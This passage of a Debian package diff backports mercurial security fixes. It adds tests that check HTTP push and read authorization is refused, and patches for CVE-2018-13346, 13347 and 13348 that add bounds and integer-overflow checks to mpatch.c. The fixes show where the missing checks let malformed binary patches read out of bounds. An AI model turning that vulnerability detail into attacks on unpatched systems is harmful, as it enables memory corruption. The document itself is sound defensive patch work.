'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] +--- a/tests/test-pull-http.t ++++ b/tests/test-pull-http.t +@@ -37,7 +37,6 @@ expect error, cloning not allowed + $ hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log + $ cat hg.pid >> $DAEMON_PIDS + $ hg clone http://localhost:$HGPORT/ test4 +- requesting all changes + abort: authorization failed + [255] + $ "$TESTDIR/killdaemons.py" $DAEMON_PIDS +@@ -57,7 +56,6 @@ serve errors + expect error, pulling not allowed + + $ req +- pulling from http://localhost:$HGPORT/ + abort: authorization failed + % serve errors + +--- a/tests/test-push-http.t ++++ b/tests/test-push-http.t +@@ -139,27 +139,3 @@ expect phase change success + [1] + $ hg rollback + repository tip rolled back to revision 0 (undo serve) +- +-expect authorization error: all users denied +- +- $ echo '[web]' > .hg/hgrc +- $ echo 'push_ssl = false' >> .hg/hgrc +- $ echo 'deny_push = *' >> .hg/hgrc +- $ req +- pushing to http://localhost:$HGPORT/ +- searching for changes +- abort: authorization failed +- % serve errors +- [255] +- +-expect authorization error: some users denied, users must be authenticated +- +- $ echo 'deny_push = unperson' >> .hg/hgrc +- $ req +- pushing to http://localhost:$HGPORT/ +- searching for changes +- abort: authorization failed +- % serve errors +- [255] +- +- $ cd .. diff -Nru mercurial-2.8.2/debian/patches/CVE-2018-13346.patch mercurial-2.8.2/debian/patches/CVE-2018-13346.patch --- mercurial-2.8.2/debian/patches/CVE-2018-13346.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2018-13346.patch 2018-11-16 18:15:26.000000000 +0000 @@ -0,0 +1,24 @@ + +# HG changeset patch +# User Augie Fackler +# Date 1524924552 14400 +# Node ID faa924469635512b72868b1552a1866a0f91db20 +# Parent 1acfc35d478cdae60cf62c6f07fa6b6ad3070ea7 +mpatch: ensure fragment start isn't past the end of orig (SEC) + +Caught by oss-fuzz fuzzer during development. + +This defect is OVE-20180430-0004 or CVE-2018-13346. + +--- a/mercurial/mpatch.c ++++ b/mercurial/mpatch.c +@@ -360,7 +360,8 @@ static int apply(char *buf, const char *orig, Py_ssize_t len, struct flist *l) + char *p = buf; + + while (f != l->tail) { +- if (f->start < last || f->end > len || last < 0) { ++ if (f->start < last || f->start > len || f->end > len || ++ last < 0) { + if (!PyErr_Occurred()) + PyErr_SetString(mpatch_Error, + "invalid patch"); diff -Nru mercurial-2.8.2/debian/patches/CVE-2018-13347-extras.patch mercurial-2.8.2/debian/patches/CVE-2018-13347-extras.patch --- mercurial-2.8.2/debian/patches/CVE-2018-13347-extras.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2018-13347-extras.patch 2018-11-16 18:15:18.000000000 +0000 @@ -0,0 +1,255 @@ +Backport of six additional patches for CVE-2018-13347. + +# HG changeset patch +# User Augie Fackler +# Date 1525140822 14400 +# Node ID 1ec4cb8cbc87004ffbeeb1b5d98acef04c38d59a +# Parent faa924469635512b72868b1552a1866a0f91db20 +mpatch: introduce a safeadd() helper to work around UB int overflow + +We're about to make extensive use of this. This change duplicates some +stdbool.h portability hacks from cext/util.h. We should probably clean +that up in the future, but we'll skip that for now in order to make +security backports easier. + + +# HG changeset patch +# User Augie Fackler +# Date 1525366460 14400 +# Node ID b8b253aec9538b2614295f6ba4ecefe335ad8bf5 +# Parent 1ec4cb8cbc87004ffbeeb1b5d98acef04c38d59a +mpatch: introduce a safesub() helper as well + +Same reason as safeadd(). + + +# HG changeset patch +# User Augie Fackler +# Date 1525140911 14400 +# Node ID 0b208c13781c18deae8fddb1dd63677f61fd64b5 +# Parent b8b253aec9538b2614295f6ba4ecefe335ad8bf5 +mpatch: fix UB in int overflows in gather() (SEC) + + +# HG changeset patch +# User Augie Fackler +# Date 1525141213 14400 +# Node ID 7f22ef3c0ee721da8a568613dff48a7051fad8d7 +# Parent 0b208c13781c18deae8fddb1dd63677f61fd64b5 +mpatch: fix UB integer overflows in discard() (SEC) + + +# HG changeset patch +# User Augie Fackler +# Date 1525141386 14400 +# Node ID 59837a16896da36d26e795881f4ba4454cb8ae41 +# Parent 7f22ef3c0ee721da8a568613dff48a7051fad8d7 +mpatch: avoid integer overflow in mpatch_decode (SEC) + + +# HG changeset patch +# User Augie Fackler +# Date 1525141498 14400 +# Node ID 9c5ced5276d6e7d54f7c3dadf5247b7ee98ec79c +# Parent 59837a16896da36d26e795881f4ba4454cb8ae41 +mpatch: avoid integer overflow in combine() (SEC) + +All the callers of this function can handle a NULL return, so that +appears to be the "safe" way to report an error. + +--- a/mercurial/mpatch.c ++++ b/mercurial/mpatch.c +@@ -22,11 +22,21 @@ + + #define PY_SSIZE_T_CLEAN + #include ++#include + #include + #include + + #include "util.h" + ++/* VC9 doesn't include bool and lacks stdbool.h based on cext/util.h */ ++#if defined(_MSC_VER) || __STDC_VERSION__ < 199901L ++#define true 1 ++#define false 0 ++typedef unsigned char bool; ++#else ++#include ++#endif ++ + static char mpatch_doc[] = "Efficient binary patching."; + static PyObject *mpatch_Error; + +@@ -74,6 +84,35 @@ static Py_ssize_t lsize(struct flist *a) + return a->tail - a->head; + } + ++/* add helper to add src and *dest iff it won't overflow */ ++static inline bool safeadd(int src, int *dest) ++{ ++ if ((src > 0) == (*dest > 0)) { ++ if (*dest > 0) { ++ if (src > (INT_MAX - *dest)) { ++ return false; ++ } ++ } else { ++ if (src < (INT_MIN - *dest)) { ++ return false; ++ } ++ } ++ } ++ *dest += src; ++ return true; ++} ++ ++/* subtract src from dest and store result in dest */ ++static inline bool safesub(int src, int *dest) ++{ ++ if (((src > 0) && (*dest < INT_MIN + src)) || ++ ((src < 0) && (*dest > INT_MAX + src))) { ++ return false; ++ } ++ *dest -= src; ++ return true; ++} ++ + /* move hunks in source that are less cut to dest, compensating + for changes in offset. the last hunk may be split if necessary. + */ +@@ -83,18 +122,37 @@ static int gather(struct flist *dest, struct flist *src, int cut, int offset) + int postend, c, l; + + while (s != src->tail) { +- if (s->start + offset >= cut) ++ int soffset = s->start; ++ if (!safeadd(offset, &soffset)) ++ break; /* add would overflow, oh well */ ++ if (soffset >= cut) + break; /* we've gone far enough */ + +- postend = offset + s->start + s->len; ++ postend = offset; ++ if (!safeadd(s->start, &postend) || ++ !safeadd(s->len, &postend)) { ++ break; ++ } + if (postend <= cut) { + /* save this hunk */ +- offset += s->start + s->len - s->end; ++ int tmp = s->start; ++ if (!safesub(s->end, &tmp)) { ++ break; ++ } ++ if (!safeadd(s->len, &tmp)) { ++ break; ++ } ++ if (!safeadd(tmp, &offset)) { ++ break; /* add would overflow, oh well */ ++ } + *d++ = *s++; + } + else { + /* break up this hunk */ +- c = cut - offset; ++ c = cut; ++ if (!safesub(offset, &c)) { ++ break; ++ } + if (s->end < c) + c = s->end; + l = cut - offset - s->start; +@@ -128,16 +186,40 @@ static int discard(struct flist *src, int cut, int offset) + int postend, c, l; + + while (s != src->tail) { +- if (s->start + offset >= cut) ++ int cmpcut = s->start; ++ if (!safeadd(offset, &cmpcut)) { ++ break; ++ } ++ if (cmpcut >= cut) + break; + +- postend = offset + s->start + s->len; ++ postend = offset; ++ if (!safeadd(s->start, &postend)) { ++ break; ++ } ++ if (!safeadd(s->len, &postend)) { ++ break; ++ } + if (postend <= cut) { +- offset += s->start + s->len - s->end; ++ /* do the subtraction first to avoid UB integer overflow ++ */ ++ int tmp = s->start; ++ if (!safesub(s->end, &tmp)) { ++ break; ++ } ++ if (!safeadd(s->len, &tmp)) { ++ break; ++ } ++ if (!safeadd(tmp, &offset)) { ++ break; ++ } + s++; + } + else { +- c = cut - offset; ++ c = cut; ++ if (!safesub(offset, &c)) { ++ break; ++ } + if (s->end < c) + c = s->end; + l = cut - offset - s->start; +@@ -179,8 +261,18 @@ static struct flist *combine(struct flist *a, struct flist *b) + + /* insert new hunk */ + ct = c->tail; +- ct->start = bh->start - offset; +- ct->end = bh->end - post; ++ ct->start = bh->start; ++ ct->end = bh->end; ++ if (!safesub(offset, &(ct->start)) || ++ !safesub(post, &(ct->end))) { ++ /* It was already possible to exit ++ * this function with a return value ++ * of NULL before the safesub()s were ++ * added, so this should be fine. */ ++ lfree(c); ++ c = NULL; ++ goto done; ++ } + ct->len = bh->len; + ct->data = bh->data; + c->tail++; +@@ -191,7 +283,7 @@ static struct flist *combine(struct flist *a, struct flist *b) + memcpy(c->tail, a->head, sizeof(struct frag) * lsize(a)); + c->tail += lsize(a); + } +- ++done: + lfree(a); + lfree(b); + return c; +@@ -215,10 +307,15 @@ static struct flist *decode(const char *bin, Py_ssize_t len) + lt->start = getbe32(bin + pos); + lt->end = getbe32(bin + pos + 4); + lt->len = getbe32(bin + pos + 8); +- lt->data = bin + pos + 12; +- pos += 12 + lt->len; +- if (lt->start > lt->end || lt->len < 0) ++ if (lt->start < 0 || lt->start > lt->end || lt->len < 0) + break; /* sanity check */ ++ if (!safeadd(12, &pos)) { ++ break; ++ } ++ lt->data = bin + pos; ++ if (!safeadd(lt->len, &pos)) { ++ break; ++ } + lt++; + } + diff -Nru mercurial-2.8.2/debian/patches/CVE-2018-13347.patch mercurial-2.8.2/debian/patches/CVE-2018-13347.patch --- mercurial-2.8.2/debian/patches/CVE-2018-13347.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2018-13347.patch 2018-11-16 18:14:56.000000000 +0000 @@ -0,0 +1,36 @@ + +# HG changeset patch +# User Augie Fackler +# Date 1524895496 14400 +# Node ID 1acfc35d478cdae60cf62c6f07fa6b6ad3070ea7 +# Parent 90a274965de74cb0b4bea01a564b29b12a6af814 +mpatch: protect against underflow in mpatch_apply (SEC) + +Also caught by oss-fuzz fuzzer during development. + +This defect is OVE-20180430-0002 or CVE-2018-13347. + +--- a/mercurial/mpatch.c ++++ b/mercurial/mpatch.c +@@ -263,7 +263,7 @@ static int apply(char *buf, const char *orig, Py_ssize_t len, struct flist *l) + char *p = buf; + + while (f != l->tail) { +- if (f->start < last || f->end > len) { ++ if (f->start < last || f->end > len || last < 0) { + if (!PyErr_Occurred()) + PyErr_SetString(mpatch_Error, + "invalid patch"); +@@ -276,6 +276,12 @@ static int apply(char *buf, const char *orig, Py_ssize_t len, struct flist *l) + p += f->len; + f++; + } ++ if (last < 0) { ++ if (!PyErr_Occurred()) ++ PyErr_SetString(mpatch_Error, ++ "invalid patch"); ++ return 0; ++ } + memcpy(p, orig + last, len - last); + return 1; + } diff -Nru mercurial-2.8.2/debian/patches/CVE-2018-13348.patch mercurial-2.8.2/debian/patches/CVE-2018-13348.patch --- mercurial-2.8.2/debian/patches/CVE-2018-13348.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2018-13348.patch 2018-11-16 18:15:34.000000000 +0000 @@ -0,0 +1,28 @@ + +# HG changeset patch +# User Augie Fackler +# Date 1524890536 14400 +# Node ID 90a274965de74cb0b4bea01a564b29b12a6af814 +# Parent c0081d3e1598e0c82cf5024422dc206db83687de +mpatch: be more careful about parsing binary patch data (SEC) + +It appears to have been possible to trivially walk off the end of an +allocated region with a malformed patch. Oops. + +Caught when writing an mpatch fuzzer for oss-fuzz. + +This defect is OVE-20180430-0001 or CVE-2018-13348. + +--- a/mercurial/mpatch.c ++++ b/mercurial/mpatch.c +@@ -303,7 +303,9 @@ static struct flist *decode(const char *bin, Py_ssize_t len) + + lt = l->tail; + +- while (pos >= 0 && pos < len) { ++ /* We check against len-11 to ensure we have at least 12 bytes ++ left in the patch so we can read our three be32s out of it. */ ++ while (pos >= 0 && pos < (len - 11)) { + lt->start = getbe32(bin + pos); + lt->end = getbe32(bin + pos + 4); + lt->len = getbe32(bin + pos + 8); diff -Nru mercurial-2.8.2/debian/patches/series mercurial-2.8.2/debian/patches/series --- mercurial-2.8.2/debian/patches/series 2015-06-17 18:34:06.000000000 +0000 +++ mercurial-2.8.2/debian/patches/series 2018-11-22 17:19:12.000000000 +0000 @@ -14,3 +14,21 @@ CVE-2014-9390.pt4 from_upstream__sshpeer_more_thorough_shell_quoting.patch fix_ftbfs_patchbomb_test.patch +CVE-2016-3068.patch +CVE-2016-3069_part1.patch +CVE-2016-3069_part2.patch +CVE-2016-3069_part3.patch +CVE-2016-3069_part4.patch +CVE-2016-3105.patch +CVE-2016-3630_part1.patch +CVE-2016-3630_part2.patch +CVE-2017-9462.patch +CVE-2017-17458_part1.patch +CVE-2017-17458_part2.patch +CVE-2017-1000115.patch +CVE-2017-1000116.patch +CVE-2018-13347.patch +CVE-2018-13347-extras.patch +CVE-2018-13346.patch +CVE-2018-13348.patch +CVE-2018-1000132.patch